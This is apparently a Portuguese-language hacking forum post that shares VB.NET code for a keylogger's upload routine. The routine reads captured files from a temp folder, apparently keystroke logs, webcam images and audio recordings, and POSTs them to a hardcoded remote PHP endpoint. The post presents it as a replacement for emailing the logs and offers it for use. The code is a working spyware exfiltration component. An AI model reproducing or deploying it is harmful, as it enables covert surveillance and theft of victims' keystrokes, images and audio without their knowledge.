Tendo em vista que recentemente mandar logs do kl via email vem gerando muita dor de cabeça pra muitos, venho aqui deixar uma forma de envio simples e eficaz, já havia postado uma solução tbm em Pascal (Ver a área Delphi/Pascal).
OBS: De posse de um código desse, fica faltando apenas um simples arquivo PHP com suporte a inserção de múltiplos arquivos no msm campo
Bom proveito!
OBS: De posse de um código desse, fica faltando apenas um simples arquivo PHP com suporte a inserção de múltiplos arquivos no msm campo
Bom proveito!
Código:
Sub upload() Dim filepath1 As String = IO.Path.Combine(Application.StartupPath, tempfolder & "photo.jpg") Dim filepath2 As String = IO.Path.Combine(Application.StartupPath, tempfolder & "arq.txt") Dim filepath3 As String = IO.Path.Combine(Application.StartupPath, tempfolder & "salvo.txt") Dim filepath4 As String = IO.Path.Combine(Application.StartupPath, tempfolder & "camera.bmp") Dim filepath5 As String = IO.Path.Combine(Application.StartupPath, tempfolder & "audio.wav") Dim url As String = "http://neoline.1eko.com/MultUpKL.php" Dim Element As Object Dim sNames(4) As String 'Array declaration sNames(0) = filepath1 sNames(1) = filepath2 sNames(2) = filepath3 sNames(3) = filepath4 Dim boundary As String = IO.Path.GetRandomFileName Dim header As New System.Text.StringBuilder() For Each Element In sNames 'Roaming all elements of array If File.Exists(Element) Then header.AppendLine("--" & boundary) header.Append("Content-Disposition: form-data; name=""files[]"";") header.AppendFormat("filename=""{0}""", IO.Path.GetFileName(Element)) header.AppendLine() header.AppendLine("Content-Type: application/octet-stream") header.AppendLine() Dim headerbytes() As Byte = System.Text.Encoding.UTF8.GetBytes(header.ToString) Dim endboundarybytes() As Byte = System.Text.Encoding.ASCII.GetBytes(vbNewLine & "--" & boundary & "--" & vbNewLine) Dim req As Net.HttpWebRequest = Net.HttpWebRequest.Create(url) req.ContentType = "multipart/form-data; boundary=" & boundary req.ContentLength = headerbytes.Length + New IO.FileInfo(Element).Length + endboundarybytes.Length req.Method = "POST" Dim s As IO.Stream = req.GetRequestStream s.Write(headerbytes, 0, headerbytes.Length) Dim filebytes() As Byte = My.Computer.FileSystem.ReadAllBytes(Element) s.Write(filebytes, 0, filebytes.Length) s.Write(endboundarybytes, 0, endboundarybytes.Length) s.Close() header.Clear() End If Next End Sub